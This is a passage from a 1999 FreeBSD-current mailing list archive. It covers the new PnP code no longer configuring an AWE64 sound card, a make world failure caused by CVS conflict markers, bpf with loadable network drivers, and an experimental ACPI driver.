    IRQ: 5 7 9 10  - only one type (true/edge)
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 5 6 7 
	16-bit, not a bus master, , count by word, Compatibility mode
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x300 .. 0x330, alignment 0x10, len 0x2
	[16-bit addr]
    I/O Range 0x388 .. 0x394, alignment 0x4, len 0x4
	[16-bit addr]
TAG End DF

Logical Device ID: CTL7002 0x02708c0e #1
Compatible Device ID: PNPb02f (2fb0d041)
Device Description: Game
TAG Start DF
Good Configuration
    I/O Range 0x200 .. 0x200, alignment 0x1, len 0x8
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    I/O Range 0x200 .. 0x208, alignment 0x8, len 0x8
	[16-bit addr]
TAG End DF

Logical Device ID: CTL0023 0x23008c0e #2
Device Description: WaveTable
TAG Start DF
Good Configuration
    I/O Range 0x620 .. 0x620, alignment 0x1, len 0x4
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    I/O Range 0x620 .. 0x680, alignment 0x20, len 0x4
	[16-bit addr]
TAG End DF
End Tag

Successfully got 67 resources, 3 logical fdevs
-- card select # 0x0001

CSN CTL009e (0x9e008c0e), Serial Number 0x09f665ec

Logical device #0
IO:  0x0220 0x0220 0x0220 0x0220 0x0220 0x0220 0x0220 0x0220
IRQ 5 0
DMA 1 5
IO range check 0x00 activate 0x01

Logical device #1
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x01

Logical device #2
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x01


What am I doing wrong here?


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 11:48:35 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94])
	by hub.freebsd.org (Postfix) with ESMTP id 96AF415293
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 11:48:28 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id LAA13232;
	Sun, 26 Sep 1999 11:41:15 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909261841.LAA13232@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 14:15:29 EDT."
             <19990926141529.A1143@dmaddox.conterra.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 11:41:14 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On Sun, Sep 26, 1999 at 10:51:59AM -0700, Mike Smith wrote:
> > > Sigh.  Again, I didn't demand anything.
> > > 
> > > I simply pointed out that functionality had been lost.  If I
> > > was the author of this code, I would *want* feedback on how
> > > it was working out for people out here in userland.  I assume
> > > that the authors in question _do_ want such feedback.
> > 
> > Actually, in your case, no.  The "functionality" you're claiming was 
> > lost was actually an unintentional side-effect of the code which will 
> > intentionally not be emulated. 
> 
> I'm not sure I follow you here.  My card was recognized and configured
> properly by the old PnP code.  It is not recognized and configured
> properly by the new PnP code.  How can that be classified as simply
> 'an unintentional side-effect of the code'?

PnP is an infrastructure facility used by drivers to detect and 
configure hardware.  The side-effect you were relying on was that the 
old code would indiscriminately configure any and all PnP hardware 
regardless of whether a driver had requested it to.

> It seems to me that PnP functionality should not be dependant on any
> particular driver...  I mean, the PnP code and the audio code (and the
> network driver code, and any other possible PnP device driver code)
> are seperate things, no?

No.

>  Shouldn't it be the job of the PnP code to
> recognize and configure the device so that it probes and attaches,
> regardless of what driver finds it?

No.

>  At least, it appears to me that
> that is what the old PnP code did.  My card worked just fine with it,
> regardless of whether I selected 'pcm' or 'snd' in my kernel config.

I don't think an explanation of how PnP works or how it fits into our 
device architecture is feasible at this point, so I'm going to 
encourage you to do some research of your own. 

-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 11:53:26 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id A51D3152CF
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 11:53:23 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id OAA07915
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 14:53:22 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id OAA00466
	for current@FreeBSD.ORG; Sun, 26 Sep 1999 14:53:28 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 14:53:28 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: current@FreeBSD.ORG
Subject: Demand-loaded network ifs and bpf
Message-ID: <19990926145328.A430@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I see that support has been added for demand-loading network
if drivers.  I seem to recall that the last time I tried using
network drivers as klds, nothing that required bpf to work
was functional anymore, because bpf required that the device
existed at the time it was initialized.  Is this still the case?
Will bpf work for demand-loaded network klds?


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 11:55:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 8C26314E47
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 11:55:53 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id OAA08013;
	Sun, 26 Sep 1999 14:55:51 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id OAA00508;
	Sun, 26 Sep 1999 14:55:57 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 14:55:57 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Mike Smith <mike@smith.net.au>
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926145557.B430@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926141529.A1143@dmaddox.conterra.com> <199909261841.LAA13232@dingo.cdrom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <199909261841.LAA13232@dingo.cdrom.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, Sep 26, 1999 at 11:41:14AM -0700, Mike Smith wrote:
> 
> PnP is an infrastructure facility used by drivers to detect and 
> configure hardware.  The side-effect you were relying on was that the 
> old code would indiscriminately configure any and all PnP hardware 
> regardless of whether a driver had requested it to.
> 

Why is this not desirable?


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 12: 1:48 1999
Delivered-To: freebsd-current@freebsd.org
Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175])
	by hub.freebsd.org (Postfix) with ESMTP id 2C395153AF
	for <FreeBSD-current@freebsd.org>; Sun, 26 Sep 1999 12:01:42 -0700 (PDT)
	(envelope-from sheldonh@axl.noc.iafrica.com)
Received: from sheldonh (helo=axl.noc.iafrica.com)
	by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1)
	id 11VJXx-000AnK-00; Sun, 26 Sep 1999 21:01:17 +0200
From: Sheldon Hearn <sheldonh@uunet.co.za>
To: Greg Lehey <grog@lemis.com>
Cc: FreeBSD current users <FreeBSD-current@FreeBSD.ORG>
Subject: Re: make world, attempt 5 
In-reply-to: Your message of "Sun, 26 Sep 1999 09:00:50 +0930."
             <19990926090049.B46202@freebie.lemis.com> 
Date: Sun, 26 Sep 1999 21:01:17 +0200
Message-ID: <41497.938372477@axl.noc.iafrica.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG



On Sun, 26 Sep 1999 09:00:50 +0930, Greg Lehey wrote:

> I've been trying for the last 24 hours solid to make a new world.  The
> latest problem is:

:-(

> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:245:
> syntax error before `<'

Hi Greg,

I was the last person to touch that file, but I honestly can't see why
you're having a problem with it.

Are you sure that you have hosts_access.c rev 1.2 ?

Ciao,
Sheldon.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 12: 6:52 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94])
	by hub.freebsd.org (Postfix) with ESMTP id 1800A14ED0
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 12:06:49 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id LAA13355;
	Sun, 26 Sep 1999 11:59:33 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909261859.LAA13355@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 14:55:57 EDT."
             <19990926145557.B430@dmaddox.conterra.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 11:59:33 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On Sun, Sep 26, 1999 at 11:41:14AM -0700, Mike Smith wrote:
> > 
> > PnP is an infrastructure facility used by drivers to detect and 
> > configure hardware.  The side-effect you were relying on was that the 
> > old code would indiscriminately configure any and all PnP hardware 
> > regardless of whether a driver had requested it to.
> 
> Why is this not desirable?

I've already asked you to do your own research, and I meant it.  The 
simple answer is "if we don't have a [working] driver for it, we don't 
want it".

-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 12:12:59 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 07B2D14ED0
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 12:12:55 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id PAA09165;
	Sun, 26 Sep 1999 15:12:54 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id PAA02162;
	Sun, 26 Sep 1999 15:13:00 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 15:12:59 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Mike Smith <mike@smith.net.au>
Cc: dmaddox@conterra.com, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926151259.A1327@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926145557.B430@dmaddox.conterra.com> <199909261859.LAA13355@dingo.cdrom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <199909261859.LAA13355@dingo.cdrom.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, Sep 26, 1999 at 11:59:33AM -0700, Mike Smith wrote:
> > On Sun, Sep 26, 1999 at 11:41:14AM -0700, Mike Smith wrote:
> > > 
> > > PnP is an infrastructure facility used by drivers to detect and 
> > > configure hardware.  The side-effect you were relying on was that the 
> > > old code would indiscriminately configure any and all PnP hardware 
> > > regardless of whether a driver had requested it to.
> > 
> > Why is this not desirable?
> 
> I've already asked you to do your own research, and I meant it.  The 
> simple answer is "if we don't have a [working] driver for it, we don't 
> want it".

But we do have a working driver for the AWE64.  Or rather, it worked fine
before the new PnP code was comitted, now it doesn't.  It seems to me that
this indicates a deficiency in the new PnP code.  Isn't that correct?


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 12:14:16 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94])
	by hub.freebsd.org (Postfix) with ESMTP id 659F91539D
	for <current@freebsd.org>; Sun, 26 Sep 1999 12:14:09 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id MAA13438;
	Sun, 26 Sep 1999 12:06:56 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909261906.MAA13438@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: Mitsuru IWASAKI <iwasaki@jp.FreeBSD.org>
Cc: current@freebsd.org
Subject: Re: Experimental ACPI driver. 
In-reply-to: Your message of "Sat, 25 Sep 1999 04:20:03 +0900."
             <199909241917.EAA06519@tasogare.imasy.or.jp> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 12:06:55 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> Hi, there.
> 
> > We wrote experimental ACPI driver for 4.0-CURRENT.
> 
> This was just one week work so its functionallity is very very poor :-)
> but I think it is good idea to start with this for developping ACPI
> driver for FreeBSD because it is enough small to understand it.

I'm not sure this is the right way to go about it, although I haven't 
looked at your code yet.  APCI is a big animal, and I think it's going 
to take a proper design to get it right.

The key components would appear to be a full AML parser, an object 
manager to manage the ACPI namespace, and an AML interpreter to run the 
AML methods.

> If someone already started wriring ACPI devive driver, please let us
> know.  We'd like to merge them and would be happy in collaboration
> with you.

Both Doug Rabson and myself have been tinkering with this, and there's 
someone that's been looking at an AML parser/interpreter in the last 
couple of weeks.  At this point in time, the parser and object manager 
are the most vital components.

-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 12:33:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from majordomo2.umd.edu (majordomo2.umd.edu [128.8.10.7])
	by hub.freebsd.org (Postfix) with ESMTP id E05E9153AF
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 12:33:55 -0700 (PDT)
	(envelope-from culverk@wam.umd.edu)
Received: from rac3.wam.umd.edu (root@rac3.wam.umd.edu [128.8.10.143])
	by majordomo2.umd.edu (8.9.3/8.9.3) with ESMTP id PAA04828;
	Sun, 26 Sep 1999 15:33:20 -0400 (EDT)
Received: from rac3.wam.umd.edu (sendmail@localhost [127.0.0.1])
	by rac3.wam.umd.edu (8.9.3/8.9.3) with SMTP id PAA04961;
	Sun, 26 Sep 1999 15:33:23 -0400 (EDT)
Received: from localhost (culverk@localhost)
	by rac3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id PAA04957;
	Sun, 26 Sep 1999 15:33:22 -0400 (EDT)
X-Authentication-Warning: rac3.wam.umd.edu: culverk owned process doing -bs
Date: Sun, 26 Sep 1999 15:33:22 -0400 (EDT)
From: Kenneth Wayne Culver <culverk@wam.umd.edu>
To: Mike Smith <mike@smith.net.au>
Cc: dmaddox@conterra.com, Gary Palmer <gjp@in-addr.com>,
	current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-Reply-To: <199909261751.KAA12959@dingo.cdrom.com>
Message-ID: <Pine.GSO.4.10.9909261532330.4258-100000@rac3.wam.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

This is only partially related, but I still can't even boot a kernel with
the pnp0 controller enabled. It just hangs after probing the soundcard.

On Sun, 26 Sep 1999, Mike Smith wrote:

> > Sigh.  Again, I didn't demand anything.
> > 
> > I simply pointed out that functionality had been lost.  If I
> > was the author of this code, I would *want* feedback on how
> > it was working out for people out here in userland.  I assume
> > that the authors in question _do_ want such feedback.
> 
> Actually, in your case, no.  The "functionality" you're claiming was 
> lost was actually an unintentional side-effect of the code which will 
> intentionally not be emulated. 
> 
> You are encouraged to participate in the ongoing development of our new 
> sourd drivers in order to ensure they meet the functionality of the old 
> ones, since that _is_ lost functionality that we care about.
> 
> -- 
> \\  The mind's the standard       \\  Mike Smith
> \\  of the man.                   \\  msmith@freebsd.org
> \\    -- Joseph Merrick           \\  msmith@cdrom.com
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 12:37:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94])
	by hub.freebsd.org (Postfix) with ESMTP id 92B0E153AF
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 12:37:33 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id MAA13579;
	Sun, 26 Sep 1999 12:29:46 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909261929.MAA13579@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 15:12:59 EDT."
             <19990926151259.A1327@dmaddox.conterra.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 12:29:46 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On Sun, Sep 26, 1999 at 11:59:33AM -0700, Mike Smith wrote:
> > > On Sun, Sep 26, 1999 at 11:41:14AM -0700, Mike Smith wrote:
> > > > 
> > > > PnP is an infrastructure facility used by drivers to detect and 
> > > > configure hardware.  The side-effect you were relying on was that the 
> > > > old code would indiscriminately configure any and all PnP hardware 
> > > > regardless of whether a driver had requested it to.
> > > 
> > > Why is this not desirable?
> > 
> > I've already asked you to do your own research, and I meant it.  The 
> > simple answer is "if we don't have a [working] driver for it, we don't 
> > want it".
> 
> But we do have a working driver for the AWE64.  Or rather, it worked fine
> before the new PnP code was comitted, now it doesn't.  It seems to me that
> this indicates a deficiency in the new PnP code.  Isn't that correct?

No.

I have already explained to you that the AWE64 driver that you were 
using (one actually of _three_ that we have) only worked with PnP cards 
as an accidental side-effect of the old PnP code.  Now that the PnP 
code has been fixed, the brokenness of the old driver is exposed.

-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 12:41:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94])
	by hub.freebsd.org (Postfix) with ESMTP id D530915433
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 12:41:34 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id MAA13613;
	Sun, 26 Sep 1999 12:34:22 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909261934.MAA13613@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: Kenneth Wayne Culver <culverk@wam.umd.edu>
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 15:33:22 EDT."
             <Pine.GSO.4.10.9909261532330.4258-100000@rac3.wam.umd.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 12:34:21 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> This is only partially related, but I still can't even boot a kernel with
> the pnp0 controller enabled. It just hangs after probing the soundcard.

You seem to have accidentally deleted all of the details related to 
this bug report from your email before sending it.  Please try again.
-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 12:52:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dead-end.net (dead-end.net [216.15.131.2])
	by hub.freebsd.org (Postfix) with ESMTP id 4E69C14C17
	for <FreeBSD-current@FreeBSD.ORG>; Sun, 26 Sep 1999 12:52:11 -0700 (PDT)
	(envelope-from rock@dead-end.net)
Received: from server.rock.net (p3E9E0EAF.dip.t-dialin.net [62.158.14.175])
	by dead-end.net (8.9.3/DEAD-END/1999022000) with ESMTP id VAA07186;
	Sun, 26 Sep 1999 21:52:09 +0200 (CEST)
	(envelope-from rock@dead-end.net)
Received: from dead-end.net (doom.rock.net [172.23.7.254])
	by server.rock.net (8.9.3/8.9.3/ROCK/1999053100) with ESMTP id VAA00372;
	Sun, 26 Sep 1999 21:54:54 +0200 (CEST)
	(envelope-from rock@dead-end.net)
Message-ID: <37EE79C6.1F058A1E@dead-end.net>
Date: Sun, 26 Sep 1999 21:53:42 +0200
From: "D. Rock" <rock@dead-end.net>
X-Mailer: Mozilla 4.6 [de] (Win98; U)
X-Accept-Language: de
MIME-Version: 1.0
To: Greg Lehey <grog@lemis.com>
Cc: FreeBSD current users <FreeBSD-current@FreeBSD.ORG>
Subject: Re: make world, attempt 5
References: <19990926090049.B46202@freebie.lemis.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Greg Lehey schrieb:
> 
> I've been trying for the last 24 hours solid to make a new world.  The
> latest problem is:
> 
> ===> libwrap
> cc -nostdinc -O -pipe -DFACILITY=LOG_AUTH -DHOSTS_ACCESS -DNETGROUP -DDAEMON_UMASK=022  -DREAL_DAEMON_DIR=\"/usr/libexec\" -DPROCESS_OPTIONS  -DSEVERITY=LOG_INFO -DRFC931_TIMEOUT=10  -DHOSTS_DENY=\"/etc/hosts.deny\" -DHOSTS_ALLOW=\"/etc/hosts.allow\"  -DSYS_ERRLIST_DEFINED -DALWAYS_HOSTNAME -I/usr/obj/src/PANIC/src/tmp/usr/include -c /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c -o hosts_access.o
> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:245: syntax error before `<'
> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:84: warning: `host_match' declared `static' but never defined
> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:85: warning: `string_match' declared `static' but never defined
I know these errors.

Mostly they are caused by local modifications of the source. If you then
"cvs update"
your tree, and there is a conflict, the offending lines are surrounded
by
<<<
Your Code
===
New Code
>>>

I also have overseen cvs conflicts dozens of time.

Daniel


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13: 3: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dead-end.net (dead-end.net [216.15.131.2])
	by hub.freebsd.org (Postfix) with ESMTP id 8A23114C48
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:03:07 -0700 (PDT)
	(envelope-from rock@dead-end.net)
Received: from server.rock.net (p3E9E0EAF.dip.t-dialin.net [62.158.14.175])
	by dead-end.net (8.9.3/DEAD-END/1999022000) with ESMTP id WAA07326;
	Sun, 26 Sep 1999 22:03:05 +0200 (CEST)
	(envelope-from rock@dead-end.net)
Received: from dead-end.net (doom.rock.net [172.23.7.254])
	by server.rock.net (8.9.3/8.9.3/ROCK/1999053100) with ESMTP id WAA00414;
	Sun, 26 Sep 1999 22:05:50 +0200 (CEST)
	(envelope-from rock@dead-end.net)
Message-ID: <37EE7C56.5A784192@dead-end.net>
Date: Sun, 26 Sep 1999 22:04:38 +0200
From: "D. Rock" <rock@dead-end.net>
X-Mailer: Mozilla 4.6 [de] (Win98; U)
X-Accept-Language: de
MIME-Version: 1.0
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
References: <19990926034143.A510@dmaddox.conterra.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Donald J . Maddox" schrieb:
> Is the new PnP code really so smart that it has no use for user intervention
> ever?  My experience indicates that it is not.
> 
> It would be very nice if the architects of the new PnP code would add back
> this lost functionality.
My (Q&D) solution for this problem:

Get rid of
controller	pnp0
in your config-file.

Write down the Port/IRQ/DMA of all your PnP cards, then configure them
the
hard way (they normally don't change between reboots).

This was my solution to get my PnP ISDN card working again (i4b isn't
yet
converted to newPnP). As a side effect I also had to manually configure
my NE2000 compatible PnP card manually.

Before
---
controller	pnp0
device		ed0
device		isic0
--
ed0: <NE2000 Compatible> at port 0x220-0x23f irq 3 on isa0
ed0: address 00:40:05:38:7b:a4, type NE2000 (16 bit)
unknown3: <speed win SEDLBAUER AG> at port 0x108-0x10f irq 11 on isa0

After
---
device		ed0	at isa? port 0x220 irq 3
device		isic0	at isa? port 0x108 irq 11 flags 9
--
ed0 at port 0x220-0x23f irq 3 on isa0
ed0: address 00:40:05:38:7b:a4, type NE2000 (16 bit)
isic0 at port 0x108 irq 11 flags 0x9 on isa0
isic0: Sedlbauer WinSpeed
isic0: ISAC 2085 Version A1/A2 or 2086/2186 Version 1.1 (IOM-2)
(Addr=0x10a)
isic0: HSCX 82525 or 21525 Version 2.1 (AddrA=0x10b, AddrB=0x10d)

The ISDN card needed some additional tweaking, since it a PnP only card
and
isn't expected to run as a non-PnP card, but the sound driver should be
just
like the ed driver.


Daniel


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 13: 5:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 23CEE14C48
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 13:05:15 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id QAA11099;
	Sun, 26 Sep 1999 16:05:14 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id QAA00453;
	Sun, 26 Sep 1999 16:05:20 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 16:05:19 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Mike Smith <mike@smith.net.au>
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926160519.A350@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926151259.A1327@dmaddox.conterra.com> <199909261929.MAA13579@dingo.cdrom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
